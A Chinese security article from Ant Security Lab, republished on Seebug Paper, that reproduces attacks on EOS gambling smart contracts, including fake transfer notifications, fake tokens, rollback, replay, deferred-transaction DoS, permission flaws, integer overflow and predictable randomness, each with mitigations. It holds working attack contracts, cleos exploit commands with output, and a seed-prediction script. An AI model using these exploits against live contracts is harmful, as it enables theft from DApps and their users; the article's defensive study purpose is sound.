作者:天宸@螞蟻安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew

引言

EOS 在誕生之初的新聞報道里,被視為區塊鏈3.0的代表。EOS的交易處理速度據稱能夠達到每秒百萬量級,與其相比,以太坊每秒20多筆,比特幣每秒7筆的處理速度實在是捉襟見肘。

據 2018 年10月 DappRadar 數據顯示,排名前10的 EOS DAPP 中有6個屬于博彩游戲,在所有的 EOS Dapp 中,博彩類游戲24小時交易量占比達到 84% 以上。EOS 玩家戲稱博彩應用為菠菜應用。

2021 年 4 月,我們又統計了 Dappradar 列出的前 572 個 EOS Dapp,其中菠菜類應用 308個,占比超過總數的一半。時至今日菠菜應用仍然占據 EOS 的半壁江山,我們姑且稱此篇系列文章為:菠菜應用篇。

EOS 公鏈上線初期,菠菜類應用火爆吸引了大量資金,但是項目合約代碼安全性薄弱,成為攻擊的重災區。據安全廠商統計,EOS 上線第一年共發生超 60 起典型攻擊事件,1-4 月為集中爆發期,占全年攻擊事件的 67%,主要原因為 EOS 公鏈上菠菜類應用的持續火爆,加之項目合約代碼安全性薄弱,導致黑客在多個 DApp 上就同一個漏洞進行連續攻擊,手法主要以交易阻塞、回滾交易攻擊,假 EOS 攻擊,隨機數破解等。本文對每一種攻擊手段都做了復現。

此外,本文系統的梳理了其他類型的漏洞,并按照相關度的高低排列順序,方便讀者感受到漏洞之間的遞進關系。

背景介紹

什么是 EOS

EOS全稱叫做“Enterprise Operation System”,中文翻譯是“企業操作系統”,是為企業級分布式應用設計的一款區塊鏈操作系統。相比于比特幣、以太坊平臺性能低、開發難度大以及手續費高等問題,EOS擁有高性能處理能力、易于開發以及用戶免費等優勢,能極大的滿足企業級的應用需求,誕生之初曾被譽為繼比特幣、以太坊之后區塊鏈 3.0 技術。

為什么EOS性能高?這要得益于他的共識算法的設計。想知道他的共識算法?歡迎關注后續文章。

EOS 上的智能合約有什么特點

EOSIO智能合約由一組 Action 和類型定義組成。Action 指定并實現合約的行為。類型定義指定所需的內容和結構。開發合約時要對每一個action 實現對應的 action handler。action handler 的參數指定了接收的參數類型和數量。當向此合約發送 action 時,要發送滿足要求的參數。

Action

EOSIO Action 主要在基于消息的通信體系結構中運行。客戶端可以使用 cleos 命令,將消息發送(推送)到 nodeos 來調用 Action。也可以使用 EOSIO send 方法(例如eosio :: action :: send)來調用 Action。nodeos 將 Action 請求分發給合約的 WASM 代碼。該代碼完整地運行完,然后繼續處理下一個 Action。

通信模型

EOS體系是以通訊為基本的,Action 就是EOS上通訊的載體。EOSIO 支持兩種基本通信模型:內聯(inline)通信,如在當前交易中處理 Action,和延遲(defer)通信,如觸發一筆將來的交易。

  • Inline通信

Inline 通信是指調用 Action 和被調用 Action 都要執行成功(否則會一起回滾)。(Inline communication takes the form of requesting other actions that need to be executed as part of the calling action.) Inline 通信使用原始交易相同的 scope 和權限作為執行上下文,并保證與當前 action 一起執行。可以被認為是 transaction 中的嵌套 transaction。如果 transaction 的任何部分失敗,Inline 動作將和其他 transaction 一起回滾。無論成功或失敗,Inline 都不會在 transaction 范圍外生成任何通知。

  • Deferred通信

Deferred 通信在概念上等同于發送一個 transaction 給一個賬戶。這個 transaction 的執行是 eos 出快節點自主判斷進行的,Deferrd 通信無法保證消息一定成功或者失敗。

如前所述,Deferred 通信將在稍后由出快節點自行決定,從原始 transaction(即創建 Deferred 通信的 transaction)的角度來看,它只能確定創建請求是成功提交還是失敗(如果失敗,transaction 將立即失敗)。

擁有這些背景知識,在理解下文的漏洞時會更加明了。

EOS 特性導致的漏洞類型

假 transfer 通知

漏洞介紹

EOS 的合約可以通過 require_recipient(someone) 給其他合約發送轉賬通知。在其他合約的 transfer 中沒有校驗接受者是否為自己。來看一個真實的案例:

 圖片來自慢霧科技

本次攻擊中黑客創建了兩個賬戶:攻擊賬戶 ilovedice123 和攻擊合約 whoiswinner1。游戲合約在 apply 里沒有校驗 transfer action 的調用方必須是 eosio.token 或者是自己的游戲代幣合約。攻擊賬戶 ilovedice123 向攻擊合約 whoiswinner1 轉賬后,EOSBet 合約的 transfer 函數被成功調用,誤將攻擊賬戶 ilovedice123 當成下注玩家,被套走了 142,845 個 EOS。

漏洞示例
void eosbocai2222::transfer(const name &from,
                            const name &to,
                            const asset &quantity,
                            const string &memo)
{
    eostime playDiceStartat = 1540904400; //2018-10-30 21:00:00
    if ("buy token" == memo)
    {
        eosio_assert(playDiceStartat > now(), "Time is up");
        buytoken(from, quantity);
        return;
    }

transfer 函數沒有校驗 to!=_self

攻擊示例

攻擊代碼

#include <eosio/eosio.hpp>
  #include <eosio/asset.hpp>

  using namespace eosio;
  using namespace std;

  class [[eosio::contract]] attack : public contract {
    public:
        using contract::contract;

        [[eosio::action]]
        void transfer( name from ,name to, asset quantity, string memo ) {
           require_recipient(name("eosdiceadmin"));
        }

  };

  extern "C" {
      void apply(uint64_t receiver, uint64_t code, uint64_t action) {

          if ((code == name("eosio.token").value) && (action == name("transfer").value)) {
          // if (action == name("transfer").value){
              execute_action(name(receiver),name(code), &attack::transfer);
              return;
          }

      }
  }

核心代碼:require_recipient(name("eosdiceadmin"));

攻擊前查看余額

Adas-Macbook-Pro:eosbocai2222 ada$ cleos get currency balance eosio.token ada
410.0000 ADA
1013.1741 BOB
1000020.0000 SYS
Adas-Macbook-Pro:eosbocai2222 ada$ cleos get currency balance eosio.token bob
899999998089.1271 BOB
15.0000 SYS

ada 擁有 1013.1741 BOB 幣

bob 擁有 899999998089.1271 BOB 幣

發起假轉賬通知攻擊

Adas-Macbook-Pro:eosbocai2222 ada$ cleos push action eosio.token transfer '["bob", "ada", "1.0000 BOB", "dice-50-eosdiceadmin"]' -p bob
executed transaction: c4bc13c4d911354e4dab43d3b06bba4a1cdd33b576062fdf6d9189a6066d3c51  152 bytes  1527 us
#   eosio.token <= eosio.token::transfer        {"from":"bob","to":"ada","quantity":"1.0000 BOB","memo":"dice-50-eosdiceadmin"}
#           bob <= eosio.token::transfer        {"from":"bob","to":"ada","quantity":"1.0000 BOB","memo":"dice-50-eosdiceadmin"}
。。。

攻擊后查看余額

Adas-Macbook-Pro:eosbocai2222 ada$ cleos get currency balance eosio.token ada
410.0000 ADA
1014.1741 BOB
1000020.0000 SYS
Adas-Macbook-Pro:eosbocai2222 ada$ cleos get currency balance eosio.token bob
899999998090.1373 BOB
15.0000 SYS

轉賬完畢之后 ada 和 bob 賬號的幣都增加了。

規避建議

在 transfer 中加入 to 校驗

void eosbocai2222::transfer(const name &from,
                            const name &to,
                            const asset &quantity,
                            const string &memo)
{
    //cant self or to cant self if you have more
     if (from == _self || to != _self)
     {
         return;
     }

    eostime playDiceStartat = 1540904400; //2018-10-30 21:00:00
    if ("buy token" == memo)
    {
        eosio_assert(playDiceStartat > now(), "Time is up");
        buytoken(from, quantity);
        return;
    }

假 EOS 代幣

漏洞介紹

Apply 函數中沒有校驗 EOS 的發行者是否是真正的發行者 eosio.token ,導致攻擊者可以發行同名的 EOS,進而觸發被攻擊合約的transfer函數,無成本獲得真正的EOS。

漏洞示例
extern "C" { 
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { 
       if ((code == receiver ) || (action == name("transfer").value))
        {       
            code = name("eosdiceadmin").value;
            switch (action)
            {
                EOSIO_DISPATCH_HELPER(eosbocai2222, (reveal)(init)(transfer))
            };
        }
   }    
}

代碼中沒有校驗 EOS 的發行者。

攻擊示例

創建一個假 EOS 幣,向 eosdiceadmin 轉賬即可。

規避建議
extern "C"
{
    void apply(uint64_t receiver, uint64_t code, uint64_t action)
{
        if ((code == name("eosio.token").value) && (action == name("transfer").value))
        {
            execute_action(name(receiver),name("eosdiceadmin"), &eosbocai2222::transfer);
            return;
        }

        if (code != receiver)
            return;

        switch (action)
        {
            EOSIO_DISPATCH_HELPER(eosbocai2222, (reveal)(init))
        };

    }
}

校驗真正的發行者的身份 code == name("eosio.token").value

假充值漏洞

假充值漏洞不僅在以太坊平臺上存在,EOS 也存在。并且 EOS 上的攻擊方式更多樣化。

漏洞介紹

此漏洞是因為項目方沒有對交易的 status 狀態進行校驗,只是對交易是否存在作出了判斷。但是交易可能執行失敗,交易狀態變成 hard_fail。hard_fail 的交易也可以在鏈上出現記錄。所以,把交易是否存在作為充值成功的依據是不正確的。

漏洞示例

EOS 游戲 Vegas Town (合約帳號 eosvegasgame)遭受攻擊,損失數千 EOS。此攻擊的一個最主要的點有兩個,一個是 hard_fail,第二個是交易延遲導致 hard_fail。

hard_fail 是指:客觀的錯誤并且錯誤處理器沒有正確執行。簡單來說就是出現錯誤但是沒有使用錯誤處理器(error handler)處理錯誤,比方說使用 onerror 捕獲處理,如果說沒有 onerror 捕獲,就會 hard_fail。

攻擊示例

只要對 cleos 中的一個參數設置就可以對交易進行延遲。但是這種交易不同于我們合約發出的 eosio_assert,沒有錯誤處理。根據官方文檔的描述,自然會變成 hard_fail。而且最關鍵的一個點是,hard_fail 會在鏈上出現記錄,能通過項目方的校驗。攻擊者就無成本的充值成功了。

規避建議

不要只是判斷交易是否存在,還要判斷下注交易是否成功執行。

回滾漏洞

回滾攻擊常用于猜測彩票合約結果,攻擊者先投注,然后監測開獎結果,如果不能中獎就回滾。反之則投注。攻擊者不損失任何 EOS,從而達到穩贏的結果。回滾攻擊在 EOS 上真實的發生過多次。

針對 inline action 的回滾攻擊

漏洞介紹

該攻擊的前提假設是中獎是實時檢測和發放的,即被攻擊合約轉賬的過程中會計算競猜結果并即時發放獎勵,如果中獎則惡意合約的EOS余額會增加。因而在"給競猜合約轉賬"action后插入一個余額檢測的action即可做到盈利檢測。

背景知識:

上文提到,Action 就是 EOS 上消息(EOS 系統是以消息通信為基礎的)的載體。如果想調用某個智能合約,那么就要給它發 Action 消息。

  • inline action

內聯交易:多個不同的 action 在一個 transaction 中(在一個交易中觸發了后續多個 Action ),在這個 transaction 中,只要有一個 action 異常,則整個 transaction 會失敗,所有的 action 都將會回滾。

  • defer action

延遲交易:兩個不同的 action 在兩個 transaction 中,每個 action 的狀態互相不影響。

漏洞示例

 圖片來自區塊鏈斜杠青年

攻擊示例

攻擊合約

#include <eosiolib/eosio.hpp>
#include "eosio.token.hpp"

using namespace eosio;

class [[eosio::contract]] rollback : public contract {
  public:
      using contract::contract;

      [[eosio::action]]
      void roll( name to, asset value, string memo ) {
         asset balance = eosio::token::get_balance(
                 name("eosio.token"),
                 name("bob"),
                 symbol_code("BOB")
          );
         action(
               permission_level{ _self,name("active")},
               name("eosio.token"),
               name("transfer"),
               std::make_tuple(_self,to,value,memo)
         ).send();

        action(
               permission_level{ _self,name("active")},
               _self,
               name("checkbalance"),
               std::make_tuple(balance)
         ).send();
      }

      [[eosio::action]]
      void checkbalance( asset data) {
         auto newBalance = eosio::token::get_balance(
                 name("eosio.token"),
                 name("bob"),
                 symbol_code("BOB")
          );

         eosio_assert( newBalance.amount > data.amount,"lose");

      }
};

EOSIO_DISPATCH( rollback, (roll)(checkbalance))

攻擊合約將所有lose的結果全部回滾,只接受win的結果,穩贏不輸。

Adas-Macbook-Pro:rollback ada$ cleos push action bob roll '["eosdiceadmin", "100.0000 BOB", "dice-50-eosdiceadmin"]' -p bob
executed transaction: b25e84729de7f397d02c77465dce2345fb78c3bd62809dc30c9b7a5cf09caa45  144 bytes  2193 us
#           bob <= bob::roll                    {"to":"eosdiceadmin","value":"100.0000 BOB","memo":"dice-50-eosdiceadmin"}
#   eosio.token <= eosio.token::transfer        {"from":"bob","to":"eosdiceadmin","quantity":"100.0000 BOB","memo":"dice-50-eosdiceadmin"}
。。。
#           bob <= bob::checkbalance            {"data":"899999997988.1067 BOB"}
warning: transaction executed locally, but may not be confirmed by the network yet         ]
規避建議

延遲開獎,并且把開獎操作變成非原子操作。但是在后面一個攻擊中我們可以看到,僅僅延遲開獎是不夠的,攻擊者還有其他的攻擊手段。

利用黑名單進行回滾攻擊

漏洞介紹

前一小節提到的攻擊方式可以用延遲開獎的方法抵御,那么延遲開獎是不是能抵御其他類型的攻擊方式呢?答案是否定的,本小節提到的黑名單的方式就可以對延遲開獎進行回滾攻擊。

背景知識
  1. EOS 采用的共識算法是 DPOS 算法,采用的是 21 個超級節點輪流出塊的方式。全節點的作用是將收到的交易廣播出去,然后超級節點將其進行打包。

  2. 從交易發出到打包到塊,需要 3 分鐘左右,未打包之前交易都可以回滾。

  3. 每一個 bp(超級節點),都可以配置黑名單,黑名單的交易都會被回滾。

漏洞示例

 圖片來自慢霧科技

攻擊者的賬號在 bp 的黑名單里,那么攻擊發起的投注交易會被 bp 回滾,投注的資金會返還給攻擊者。而開獎交易是由項目方發起的,不會被回滾,攻擊者可以獲取到開獎獎勵。攻擊者以這種方式達到穩贏不輸的目的。

攻擊示例

在 bp 節點上配置黑名單,之后正常發送投注交易。

規避建議
  • 節點開啟 read only 模式,防止節點服務器上出現未確認的塊。

  • 建立開獎依賴,如訂單依賴,開獎的時候判斷訂單是否存在,就算在節點服務器上開獎成功,由于在 bp 上下注訂單被回滾,所以相應的開獎記錄也會被回滾。

EOS 上舊貌換新顏的傳統漏洞類型

重放漏洞 — 重放中獎消息

重放攻擊是一種常見的攻擊,多種平臺都存在,在 EOS 平臺上可以用于重放中獎消息。

漏洞介紹

延遲開獎的方式遇上黑名單攻擊就失效了,那么僅僅是建立開獎依賴是否就可以抵御所有的攻擊呢?答案依然是否定的,這種方式能抵御黑名單攻擊,但是不能抵御重放攻擊。

漏洞示例

 圖片來自慢霧科技

攻擊者的賬號依然在 bp 的黑名單里,項目方節點建立了開獎依賴,如此一來攻擊者發起的投注交易和開獎交易都會被 bp 節點回滾。

攻擊示例

所有的開獎邏輯都是在項目方的節點完成的,根據這一點,攻擊者就可以在項目方節點廣播交易時監聽到開獎結果,如果這筆下注是中的,立馬以同樣的參數(種子)使用攻擊者控制的同一合約帳號發起相同的交易,actor 為合約帳號本身,即可成功中獎。

規避建議
  • 節點開啟 read only 模式,防止節點服務器上出現未確認的塊。

  • 建立開獎依賴,如訂單依賴,開獎的時候判斷訂單是否存在,就算在節點服務器上開獎成功,由于在 bp 上下注訂單被回滾,所以相應的開獎記錄也會被回滾。

  • 項目方在玩家下注的時候校驗交易中的 actor 和 from 是否是同一帳號。

DoS漏洞/交易延遲漏洞

DoS 的目的在于使目標系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。EOS 平臺的延遲交易特性可導致 DoS。

漏洞介紹

攻擊者可以在下注時發起大量 delaytime=0 的惡意延遲交易,由于EOS執行交易采用FIFO策略,這些延遲交易肯定在開獎交易之前執行。這些延遲交易會在接下來的每個區塊執行,在執行時會預測是否中獎,如果中獎就取消其他延遲交易,讓開獎交易被執行。

否則不作處理,出塊節點會繼續執行其他延遲交易,從而導致開獎交易沒法被執行,被推遲到下一個區塊。只要這些惡意延遲交易足夠多,開獎交易會被一直阻塞,直到攻擊者中獎。Fishing和STACK DICE 同時遭到黑客連續攻擊,損失已經超過數百個EOS。

漏洞示例

創建延時交易只需要為 delay_sec 屬性賦值,值為要延遲的時間。

 template <typename... Args>
    void send_defer_action(Args &&... args)
{
        transaction trx;
        trx.actions.emplace_back(std::forward<Args>(args)...);
        trx.delay_sec = 1;
        trx.send(next_id(), _self, false);
    }
攻擊示例

EOS限制一個transaction最長執行時間為10ms, 超時后就會報錯,由于該交易報錯失敗,從而不消耗任何CPU資源,從而該攻擊無成本。

因為 BP 節點有 API Node 防護,所以直接發起超時執行的交易(如,執行死循環)會被 API Node 防護過濾掉。攻擊者采用了一個非常巧妙的方法繞過 API Node 防護 -- 發送延遲交易。

 圖片來自區塊鏈斜杠青年

攻擊者先發起一個含有延時交易的合法交易,然后合法交易就會成功執行并被廣播進入BP Node, 由于這個合法交易會發起死循環的延時交易,從而 BP Node 在執行這個合法交易的時候也會生成這些死循環的惡意交易,因而死循環惡意交易進入網絡核心層,大量吞噬了出塊節點的CPU,導致 DoS。

規避建議
  • 增加交易執行順序的隨機性。比如以太坊就是交易費高的先執行,由于這個交易費是交易發起者用戶設置的,自然是隨機的,不可預測的。

  • 增加執行超時交易成本。目前交易執行超時不會消耗任何CPU,可以考慮超時執行的交易也消耗CPU,這就要求這些超時交易記錄在鏈上,同時可以增加透明性。

  • 限制延遲交易執行時間。

此攻擊整理自:https://blog.csdn.net/ITleaks/article/details/86471037

權限控制類威脅

權限控制漏洞是一類通用問題。EOS 平臺除了有無權限控制和權限控制不當問題之外,還比以太坊平臺多一類合約濫用用戶權限的問題,這是因為 EOS 平臺和以太坊平臺的權限模型不同。

合約對用戶無權限控制 — transfer 函數

這類問題表現形式就是敏感函數沒有做權限控制。

漏洞介紹

敏感操作沒有權限校驗是常見的漏洞類型,EOS 平臺的表現方式是敏感操作沒有調用 require_auth(xx) 進行權限校驗。如,沒有校驗from是否為調用者本人,這樣就會導致任何一個人都可以轉移其他人的代幣,不需要任何授權。

漏洞示例

轉賬操作無訪問控制

void token::transfer( const name&    from,
                      const name&    to,
                      const asset&   quantity,
                      const string&  memo )
{
    check( from != to, "cannot transfer to self" );
    check( is_account( to ), "to account does not exist ");

    auto sym = quantity.symbol.code();
    stats statstable( get_self(), sym.raw() );
    const auto& st = statstable.get( sym.raw() );

    require_recipient( from );
    require_recipient( to );

    check( quantity.is_valid(), "invalid quantity" );
    check( quantity.amount > 0, "must transfer positive quantity" );
    check( quantity.symbol == st.supply.symbol, "symbol precision mismatch" );
    check( memo.size() <= 256, "memo has more than 256 bytes " );

    sub_balance( from, quantity );
    add_balance( to, quantity, from );
}
攻擊示例
Adas-Macbook-Pro:auth.token ada$ cleos push action fortestvulns transfer '["ada", "bob", "10.0000 ADA", "ada to bob 10"]' -p bob
executed transaction: ee4105d6f6fcba150c345197f5f637f98c1f1adaa856efd0f4764523b14d41ea  144 bytes  218 us
#  fortestvulns <= fortestvulns::transfer       {"from":"ada","to":"bob","quantity":"10.0000 ADA","memo":"ada to bob 10"}
#           ada <= fortestvulns::transfer       {"from":"ada","to":"bob","quantity":"10.0000 ADA","memo":"ada to bob 10"}
#           bob <= fortestvulns::transfer       {"from":"ada","to":"bob","quantity":"10.0000 ADA","memo":"ada to bob 10"}

不需要提供 ada 賬號的簽名信息就可以轉賬給 bob。存在權限問題。不僅如此,只要隨便提供一個賬號,甚至不是 ada,也不是 bob,均可以轉賬成功。

規避建議

使用require_auth(from)校驗資產轉出賬戶與調用賬戶是否一致。加了 require_auth(from)之后,必須要提供轉出賬戶的簽名才可以。

合約對用戶權限控制不當 — apply 函數

這類問題通常發生在有安全意識,但是安全經驗不足的項目組。雖然做了權限控制,但是并沒有做對。

漏洞介紹

Apply 函數在 EOS 合約里面相當于是入口函數,有一些權限校驗的操作會放在 Apply 函數里面。如果校驗不當,則會導致敏感接口對外暴露。如,合約里面有轉賬 transfer 等敏感接口。

漏洞示例
extern "C" { 
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { 
       if ((code == receiver ) || (action == name("transfer").value))
        {       
            code = name("eosdiceadmin").value;
            switch (action)
            {
                EOSIO_DISPATCH_HELPER(eosbocai2222, (reveal)(init)(transfer))
            };
        }
   }    
}

if ((code == receiver ) || (action == name("transfer").value)) 這句代碼存在權限校驗不嚴格的問題,通過合約發送請求可以滿足 code == receiver 條件。

攻擊示例
#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>

using namespace eosio;
using namespace std;
class [[eosio::contract]] call : public contract {
  public:
      using contract::contract;
      [[eosio::action]]
      void attack( name to, asset value, string memo ) {

         action(
               permission_level{ _self,name("active")},
               name("eosdiceadmin"),
               name("transfer"),
               std::make_tuple(_self,to,value,memo)
         ).send();

      }

};
EOSIO_DISPATCH( call, (attack))

攻擊者部署合約,合約里發送 inline action。關鍵點是設置 name("eosdiceadmin"), 以滿足校驗條件。

攻擊前查看余額

Adas-Macbook-Pro:calltransfer ada$ cleos get currency balance eosio.token alice
290.0000 ADA
1001.0674 BOB
10065.0000 SYS

進行轉賬攻擊

Adas-Macbook-Pro:calltransfer ada$ cleos push action alice attack '["eosdiceadmin", "100.0000 BOB", "dice-50-eosdiceadmin"]' -p alice
executed transaction: 515affd83784559dfb3e92edd3d22edc669243cd634411001b020e5787d4c959  144 bytes  2026 us
。。。

攻擊后查看余額,可以看到攻擊者 alice 調用敏感接口成功。獲得了 1202.0878 BOB - 1001.0674 BOB = 201.0204 BOB 幣。

Adas-Macbook-Pro:calltransfer ada$ cleos get currency balance eosio.token alice
290.0000 ADA
1202.0878 BOB
10065.0000 SYS
規避建議

綁定每個 code 和 action,如 transfer 只能對應 eosio.token 。

extern "C"
{
    void apply(uint64_t receiver, uint64_t code, uint64_t action)
{
        if ((code == name("eosio.token").value) && (action == name("transfer").value))
        {
            execute_action(name(receiver),name("eosdiceadmin"), &eosbocai2222::transfer);
            return;
        }

        if (code != receiver)
            return;

        switch (action)
        {
            EOSIO_DISPATCH_HELPER(eosbocai2222, (reveal)(init))
        };
        //eosio_exit(0);
    }
}

合約濫用用戶權限 — eosio.code 權限

eosio.code 權限是 dawn4.0 后新增的內部特殊權限,用來加強 inline action 的安全性。inline action 簡單來說就是action 調用另外一個 action,具體來說就是一個智能合約調用另外一個智能合約。inline action 需要向用戶申請 eosio.code 權限。用戶只有授權 eosio.code 權限給合約之后,合約才可以以用戶身份調用另一個合約。

漏洞介紹

若用戶錯誤的把自身的 active 權限授予其他合約的 eosio.code 權限,其他合約就可以以用戶的身份執行一些敏感操作,如轉賬操作。

漏洞示例

Fomo 3D 狼人游戲就是一個申請用戶 active 權限的游戲。用戶授予合約賬號 active 權限之后,合約可以自主升級,合約升級為惡意版本之后。合約賬號就可以以用戶的身份執行敏感操作。但是真實世界中,Fomo 3D 的項目方并沒有作惡,而是讓用戶收回權限。

攻擊示例

任何申請用戶 active 權限的場景。由于合約可以升級,即使授權版本的合約經過審計,也無法保證后續升級合約不作惡。所以任何申請用戶 active 權限的場景都會存在威脅。

規避建議

用戶不得把 active 權限授權給不信任的合約。

整數溢出

整數溢出的問題是最為常見的安全問題。智能合約安全系列——百萬合約之母以太坊的漏洞攻防術(下集)已經介紹了整數溢出的幾種形式。

本文主要分享一下 EOS 平臺的案例。EOS 合約使用 C 語言編寫,整數溢出在 C 語言里非常常見。

漏洞介紹

整數溢出發生的原因是因為寄存器能表示的數值位數有限,當存儲的數值大于能表示的最大范圍后,數值發生溢出,或稱為反轉。最大值溢出會變成最小值,最小值溢出為變成最大值。

void token::transfer( const name&    from,
                      const name&    to,
                      const asset&   quantity,
                      const string&  memo )
{
    name to2 = to; //模擬batchtransfer
    check( from != to, "cannot transfer to self" );

    auto sym = quantity.symbol.code();
    stats statstable( get_self(), sym.raw() );
    const auto& st = statstable.get( sym.raw() );

    check( quantity.is_valid(), "invalid quantity" );
    check( quantity.amount > 0, "must transfer positive quantity" );
    check( quantity.symbol == st.supply.symbol, "symbol precision mismatch" );
    check( memo.size() <= 256, "memo has more than 256 bytes " );

    uint32_t amount = quantity.amount * 2; //溢出
    asset totalquantity = asset(amount, quantity.symbol);

    sub_balance( from, totalquantity );
    add_balance( to, quantity, from );
    add_balance( to2, quantity, from );
}
攻擊示例

分析可知,因為這里計算轉賬額度之和使用的是uint32類型,所以它的范圍是0~4294967295,要乘以2后剛好滿足溢出的話,這個值為4294967295/2+1=2147483648,所以轉2147483648個幣就可以繞過余額限制來超額鑄幣。

Adas-Macbook-Pro:overflow.token ada$ cleos push action overflow transfer '["overflow", "alice", "2147483648.0000 VULT", "memo"]' -p overflow
executed transaction: 7db6cabf658d166cf362dadf99a95940ea4bdb8bae46d8bdd080c8314a665094  136 bytes  216 us
#      overflow <= overflow::transfer           {"from":"overflow","to":"alice","quantity":"2147483648.0000 VULT","memo":"memo"}
#         alice <= overflow::transfer           {"from":"overflow","to":"alice","quantity":"2147483648.0000 VULT","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet         ] 
Adas-Macbook-Pro:overflow.token ada$

轉賬完畢之后查看余額

Adas-Macbook-Pro:overflow.token ada$ cleos get currency balance overflow alice
4294967298.0000 VULT
Adas-Macbook-Pro:overflow.token ada$ cleos get currency balance overflow overflow
9998.0000 VULT

創建者 overflow 賬號的余額沒有受到影響,Alice 的賬號余額憑空變成 4294967298.0000 VULT,已經超過最開始創建的幣的數量。攻擊成功。

規避建議

涉及到算術運算的地方要進行檢查,或者交與區塊鏈安全團隊進行審計。

隨機數問題

EOS 游戲的隨機數問題非常多,隨機數反反復復被攻擊也是 EOS Dapp 被廣大游戲玩家詬病之處。現實世界中隨機數的攻擊案例非常多,且項目方和黑客的攻防升級也很有看點,這些就留給感興趣的讀者自己探索。本文以 EOSDice 隨機數被攻擊的例子來討論隨機數問題。

漏洞介紹

隨機數經常被用于競猜類游戲,如果隨機數可以被預測,那么玩家就可以穩贏不輸。EOS 有大量游戲類應用,因為隨機數被破解,導致項目方損失了大量代幣。

漏洞示例

因為 EOSDice 的合約已經開源,我們從 Github 合約源碼(查看鏈接了解:https://github.com/loveblockchain/eosdice/blob/f1ba04ea071936a8b5ba910b76597544a9e839fa/eosbocai2222.hpp)找到了 EOSDice 的隨機數算法,代碼如下:

uint8_t random(account_name name, uint64_t game_id)
{
    asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
    auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;

    const char *mixedChar = reinterpret_cast<const char *>(&mixd);

    checksum256 result;
    sha256((char *)mixedChar, sizeof(mixedChar), &result);

    uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
    return (uint8_t)(random_num % 100 + 1);
}

可以看到,EOSDice 官方的隨機數算法為 6 個隨機數種子進行數學運算,再哈希,最后再進行一次數學運算。EOSDice 官方選擇的隨機數種子為:

  • tapos_block_prefix # ref block 的信息

  • tapos_block_num # ref block 的信息

  • account_name # 玩家的名字

  • game_id # 本次游戲的游戲 id,從 1 自增

  • current_time # 當前開獎的時間戳

  • pool_eos # 本合約的 EOS 余額

具體種子在第一篇文章智能合約漏洞系列 -- 運行平臺科普篇EOS 交易結構的時候已經解釋過意義,結論就是這些因素都可以被預測。

攻擊示例

random.cpp 主要是計算隨機數。

以下腳本負責計算種子值:

import requests
import json
import os
import binascii
import struct
import sys

game_id = sys.argv[1]
# get tapos block num
url = "http://127.0.0.1:8888/v1/chain/get_info"
response = requests.request("POST", url)
res = json.loads(response.text)
last_block_num = res["head_block_num"]
# get tapos block id
url = "http://127.0.0.1:8888/v1/chain/get_block"
data = {"block_num_or_id":last_block_num}
response = requests.post(url, data=json.dumps(data))
res = json.loads(response.text)
last_block_hash = res["id"]
# get tapos block prefix
block_prefix = struct.unpack("<I", binascii.a2b_hex(last_block_hash)[8:12])[0]
# attack
cmd = '''cleos push action ada hi '["%s","%s","%s"]' -p ada ''' % (str(game_id), str(block_prefix), str(last_block_num))
os.system(cmd)
規避建議

不使用可預測的隨機源做隨機數種子。

小結

本文介紹了 EOS 平臺的漏洞類型,這些漏洞既有 EOS 平臺的獨特之處,如 eosio.code 權限問題,transfer 假通知問題;又有傳統安全威脅的影子,如 eosio.code 屬于權限管理問題;還有其他平臺的同類問題,如 transfer 假通知是假轉賬問題的一種,以太坊平臺上也存在。

相較與以太坊,目前沒有發現 EOS 特有的危險函數導致的攻擊,也尚未出現像重入漏洞這種高平臺辨識度的漏洞類型。但EOS生態也相對年輕,更多的安全挑戰和解決方案還有待安全同行們共同進一步深入研究,也歡迎讀者一起討論。

參考文獻

https://eos.live/detail/16609

https://www.chainnews.com/articles/310717546581.htm

https://github.com/EthFans/wiki/wiki/智能合約

https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch06.asciidoc

https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch07.asciidoc

https://solidity.readthedocs.io/en/v0.5.12/050-breaking-changes.html

https://zhuanlan.zhihu.com/p/33750599

https://www.ibm.com/developerworks/cn/cloud/library/cl-lo-hyperledger-fabric-practice-analysis2/index.html

https://xz.aliyun.com/t/3268

https://blog.sigmaprime.io/solidity-security.html#ether-vuln

https://www.sciencedirect.com/science/article/abs/pii/S157411921830720X?via%3Dihub

http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919411826104153.pdf

https://www.bangcle.com/upload/file/20181130/15435463681918.pdf

https://www.chainnews.com/articles/729138868600.htm#

http://www.bjnorthway.com/631/#44-dividenddistributor

https://bihu.com/article/1640996874

http://www.sjtubsrc.net/

http://ufile.shwilling.com/2018bscsawp.pdf

https://yuque.antfin-inc.com/antchain/fhisdg/hynpu7

https://www.zastrin.com/courses/ethereum-primer/lessons/1-5

https://blog.csdn.net/ITleaks/article/details/80465715

https://klevoya.com/blog/overview-of-the-eosio-webassembly-virtual-machine/

https://blog.csdn.net/toafu/article/details/86292504

https://www.chainnews.com/articles/310717546581.htm

http://www.bjnorthway.com/773/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1580/